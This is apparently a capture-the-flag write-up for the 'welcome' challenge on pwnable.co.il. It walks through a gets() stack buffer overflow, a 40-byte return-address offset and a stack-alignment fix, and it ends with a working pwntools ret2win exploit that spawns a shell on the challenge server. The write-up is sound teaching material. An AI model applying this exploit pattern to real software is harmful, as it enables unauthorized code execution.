pwnable.co.il - welcome

3 minute read

Challenge description:

Welcome to Pwnable.co.il! I hope you’ll like this one…

Protections:

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Let’s start by extracting the ELF file from the zip and analyzing it with the Hex-Rays decompiler:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char name[32]; // [rsp+0h] [rbp-20h] BYREF

  init_buffering(argc, argv, envp);
  puts("Welcome to pwnable.co.il!");
  puts("What is your name?");
  gets(name);
  printf("Thank you %s!\n", name);
  return 1;
}

We can easily see the vuln, the program uses the function gets(), this gives us a buffer overflow (a.k.a BOF) primitive, so we can overwrite stack data beyond the name buffer, including the saved return address of the function itself.

According to to the protections, the program also lacks a stack canary and is not PIE, so overwriting the return address with gadgets or functions from the program and even building a ROP chain is a good approach.

Functions symbols list:

static symbols

From the static symbol list we found an interesting function called secret_backdoor, so let’s examine it.

secret_backdoor function dump

This function is acttually a win() function, when called it invokes system("/bin/sh") which spawns a shell immediately. That makes calling secret_backdoor a straightforward path to code execution, so lets try it!

Initial attempt

To overwrite the saved return address we fill the name buffer and the saved RBP, The offset from the start of name to the return address is 32 (the length of name buffer) + 8 (saved RBP) = 40 bytes. So send 40 bytes of padding followed by the address of secret_backdoor.

Example script

from pwn import *

exe = ELF('./welcome')

p = process('./welcome')
payload = cyclic(40) # 32 (name) + 8 (saved RBP)
payload += p64(exe.sym.secret_backdoor)

p.sendline(payload)
p.interactive()

oooops… we got an EOF while reading in interactive error, which means the program exited (or crashed) before p.interactive() could hand us a shell… lets debug by replacing process() with gdb.debug() (or attach gdb to the process) so we can see whats happening when our payload runs.

secret_backdoor function dump

Now the problem is clear! The do_system path inside system() uses movaps opcode, which requires 16-byte aligned memory operands. If the stack isn’t 16-byte aligned when system() runs, that instruction faults and the program dies (hence the EOF / crash..).

The easiest fix here is to place a single ret gadget before calling secret_backdoor(), that ret realigns the stack to 16-bytes so system() won’t fault.

Exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF(args.EXE or './welcome')

### config ###
host = args.HOST or 'pwnable.co.il'
port = int(args.PORT or 9000)

### defines ###
PADDING = 40

### gadgets ###
ret = 0x000000000040076c

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

# -- Exploit goes here --

def main():
    ### run ###
    io = start()

    ### payload ###
    payload = cyclic(PADDING) # reach the return address.
    payload += p64(ret) # realign the stack so movaps opcode won't fail.
    payload += p64(exe.sym.secret_backdoor) # call win function.
 
    io.sendline(payload)
    
    io.interactive()

if __name__ == "__main__":
    main()